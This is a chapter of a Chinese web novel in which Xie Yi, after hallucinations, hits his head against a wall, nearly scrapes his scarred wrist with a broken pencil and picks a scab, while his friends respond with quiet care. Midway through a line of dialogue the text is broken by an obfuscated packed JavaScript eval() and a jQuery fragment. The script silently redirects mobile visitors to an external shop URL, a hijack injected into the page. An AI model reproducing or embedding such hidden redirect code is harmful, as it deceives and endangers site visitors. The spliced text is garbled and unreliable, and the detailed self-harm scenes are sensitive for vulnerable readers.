谢意在被子下面缩了很久。
久到窗外的阳光从金色变成了昏黄，从昏黄变成了灰白。久到门外的锯铁声停了，折叠椅修好了，江野发出一声"终于他妈能坐了"的感叹。久到林安诚翻完那本旧书又翻了一遍，翻到书页卷边了又用手指慢慢捋平。
他依然缩在被子里。但他渐渐感觉到一种奇异的平静，正从四肢末端涌上来，像退潮时海水慢慢离开沙滩。那些幻听退了，幻视也散了。火焰、白雾、哭喊声、紫色的光——全都退了。退到他够不着的地方，退成一片模糊的、像隔了毛玻璃的影子。
他慢慢睁开眼。
被子缝隙里透进来一线昏暗的天光。他盯着那道光线看了很久。眼睛很干，但没有眼泪。胸口那块沉甸甸的石头好像小了一点，或者只是他习惯了他的重量。胃里翻涌的恶心感退成了隐隐的空洞，空得像一口被抽干了水的井，只剩井底一层湿漉漉的苔。
他在被子下面翻了个身，仰面躺着。被角从他脸上滑落，露出一张苍白的、额角微微泛潮的脸。天花板是灰白色的，有一道细细的裂纹从墙角延伸到灯座旁边，像一条干涸的河床。
他抬起右手举到眼前。
手腕内侧，三排平行的旧疤，是他在孤儿院时期用碎瓷片划的。时间久了颜色已经变浅，从深红褪成浅粉，又褪成比肤色略白一丁点的细线。像三条闭着的眼睛，安静地卧在腕骨与掌心之间那片薄薄的皮肤上。
他慢慢翻过手掌，看着手背。手背上有一道新的伤，上周副本里被玻璃碎片划的，结了痂，痂下面是一道细长的暗红色裂缝。他把手举到离眼睛更近的地方，盯着那道痂看了很久。
像一只眼睛。闭着的。眼睑微微隆起，边缘泛着暗红。随时可能会睁开。
——然后窥视他。
谢意把那只手放下来，平放在胸口。掌心贴着心脏的位置，感受着自己微弱的、不紧不慢的心跳。一下。两下。三下。很平静。平静得让他觉得刚才那阵涌上来的黑暗、耳鸣、幻视、厌食、蜷缩、把被子拉到头顶——都显得格外矫情。
不就是贫血。不就是低血糖。不就是累了。有什么好折腾的。
他翻了个身，面对着墙。额头抵在冰凉的墙面上，指尖触到墙皮上粗糙的颗粒感。那些闭着的眼睛排成一排，潜伏在他皮肤下面，等他下次崩溃的时候再睁开。
他闭上眼。
一股陌生的情绪忽然从胃底翻涌上来。不是恶心，不是空洞，是一股烫的、刺的、带着毛边的烦躁。像有人在他颅骨内侧用砂纸磨了一圈，整个头皮都在发麻。他猛地睁开眼，然后——额头朝墙上撞了一下。
"咚"一声闷响。不重。像是试探。墙皮粗糙的触感在额头上留下一片微凉的刺痛。
他顿了一下。又撞了一下。比刚才重一点。声音在安静的房间里弹了一下，被棉被吸收了大部分。
第三下。再重了一点。后脑勺的发根被震得发痒。额头上一片温热，可能是红了，可能是破皮了，他不确定。他也没打算停下来。
咚。咚。咚。
每一下都让颅腔里那股砂纸摩擦似的烦躁感短暂地退去一瞬，然后在撞击的间隙重新涌回来。像海边的浪，砸下去的时候声音很大，退的时候什么都没有改变。
他停下来的时候额头上一片木木的钝痛。他抬手摸了摸，指腹触到一小片微微凸起的皮肤，没出血，但肿了一线。他盯着手指尖上那层薄薄的灰看了两秒，然后翻身坐起来。
床头柜。抽屉。里面有什么？他掀开被子探身过去拉开抽屉——空的。他摸了一圈，指尖碰到抽屉角落一个冰凉的、细长的东西。是一截断了的铅笔，不知道什么时候掉进去的，笔杆已经开裂了，铅芯断在木头里面。
他攥着那截铅笔，手在抖。像攥着一根火柴的人站在一堆干草前面，不知道自己是想点火还是只是想把它攥碎。
他的目光落在自己手腕内侧。那三排旧疤像三只闭着的眼睛，安静地看着他。它们闭着。它们没有睁开。它们只是在那里，像旧日历上被翻过去的页面，不会主动翻回来。
但他指尖在抖。那截铅笔的断口蹭过手腕内侧那片薄薄的皮肤，留下一道浅浅的白痕。
他忽然把铅笔扔了回去。"啪"一声落在抽屉里，然后"砰"一声把抽屉推上了。
他坐在床沿上，呼吸粗重了一拍。他看着自己的手——手指在抖，抖得厉害，像高烧病人打寒战。他把那只手死死攥成拳头，指甲陷进掌心里，留下四个半月形的白印。
"……矫情。"他对着空气说。
声音很轻，哑的，像从嗓子里刮出来的碎屑。他把自己从床沿上拽起来，走到门边，把门打开了一条缝。客厅里的光线透进来，江野正坐在修好的折叠椅上，手里举着一本汽车杂志，脚搭在茶几上，晃着脚丫。林安诚坐在沙发另一头，灰兔子搁在膝盖上，重瞳正看着那扇门。
谢意把门缝又推大了一点。他走出去，走到沙发边上坐下来。
江野抬头看了他一眼："醒了？睡得好吗？"
"嗯。"
"你额头怎么红了？磕哪儿了？"
"……撞墙了。没注意。"
江野的眉头皱了一下，但那皱很快平了。他放下杂志，站起来走到厨房那边——其实就是墙角一张小桌上放着一个电热水壶——倒了杯温水拿过来，搁在谢意面前的手边。
"喝口水。额头肿了，拿冰敷一下？"
"不用。"
"那你在这儿坐会儿。小林，把书放下，咱仨要不要来盘斗地主？我前两天在楼下小卖部买了一副牌——"
"没钱。"
"玩钱的你当然没钱，咱玩贴纸条的。"
林安诚从书里抬起头，重瞳在谢意身上停了一拍。然后她合上书，把灰兔子放在一边，坐到茶几对面。"好。"
谢意坐在沙发上，端着那杯温水，没有喝。他看着杯子里水面反射的天花板灯光，看着自己倒影在杯沿上弯成一道弧线的脸。额头上一片隐隐的钝痛，手腕内侧的旧疤在袖口下面安安静静地闭着。
他喝了一口水。温水从喉咙滑下去，暖意落在空荡荡的胃里，像往一口枯井里倒了一杯茶。杯底还有一层薄薄的涟漪。
江野洗牌的时候动作很随意，纸牌在他手指间翻得哗啦响。"先说好，输了的人贴纸条，只能贴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814535|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脑门儿，不许贴别的——"他瞅了一眼谢意额头上的红肿，"你这已经贴了一张了，算你自带道具。"
谢意嘴角动了一下。
斗地主打了七把。江野赢了四把，林安诚赢了两把，谢意赢了一把。江野脑门上贴了三条纸条，林安诚贴了六条——因为她输的那两把一把被贴了三张。谢意只输了一把，被贴了一张，加上额头上那片已经淡下去的红肿，看起来像个刚从某个破旧祠堂里走出来的落魄神像。
打到第八把的时候谢意出了一张牌，江野忽然看着他停了一拍："你手怎么了？"
谢意低头看了看自己的右手。手背上那道旧伤痂被他刚才用指甲抠过——不记得什么时候抠的——痂边缘翻起来一小块，底下的组织是鲜红色的，渗出一层薄薄的血清。
"……没事。痒。挠了一下。"
江野把牌搁下了，低头凑过来看。"这他妈是挠的？你这是用指甲把痂掀了——你别动了，我给你找个创可贴。"
"不用。"
"你他妈——"
"不用。"
江野看着他。两个人的目光在茶几上方碰了一下。谢意的眼睛里一片平静，平静得像枯井里的水面，连涟漪都没有。但正是那种过分的平静让江野沉默了一瞬。
他没有再坚持。他只是把那副牌收了回去，站起来走到门口的鞋柜那边翻了一阵，翻出来一卷医用胶布和一小团棉花。他走回来，把胶布和棉花放在谢意手边。
"你自己贴。不想贴就不贴。但东西放在这儿，什么时候想贴了自己拿。"
谢意看着桌上那卷白胶布，小小的，廉价的，在暖色的灯光下泛着柔和的光。
他没有贴。但他也没有把胶布推开。
林安诚从茶几对面站起来，绕过桌子走到谢意旁边，挨着他坐下来。她没有说话，只是靠在他胳膊边上，把灰兔子放在两人之间的沙发缝里，然后拿起那本翻卷边的书重新翻开，安安静静地看了起来。
窗外的天色已经全暗了。客厅里亮着那盏从天花板上垂下来的白炽灯泡，暖黄的光把三个人的影子投在墙上。江野重新坐回折叠椅上，翘着腿看那本汽车杂志。林安诚靠着谢意的胳膊看书。谢意坐在沙发里，端着一杯已经凉了的水，手腕内侧那三排旧疤藏在了袖口下面。
那只狸花猫不知什么时候又从窗台上跳下来了，走到沙发脚边绕了一圈，然后跳上沙发，在谢意另一侧的空位上蜷起来，甩了甩尾巴，闭眼睡了。
谢意低头看了看那只猫。猫的耳朵在他的肘边微微动了动，呼吸均匀，白肚皮随着呼吸一起一伏。
他慢慢抬起右手，看着手背上那道被掀开痂的伤口。血清已经干了一层，边缘微微泛红，没有流血。他看着它。那道伤口在灯光下微微裂开着，像一只睁开了一半的眼睛。
他看着它看了很久。
然后他伸手，拿起桌上那卷白胶布，撕了一截，慢慢地、笨拙地、用左手把胶布贴在了右手手背上。胶布贴歪了，皱起来一角，但他没有重贴。
他贴好了。把剩下的胶布卷放回桌上。
然后他端起那杯凉了的水，把杯底最后一口喝完了。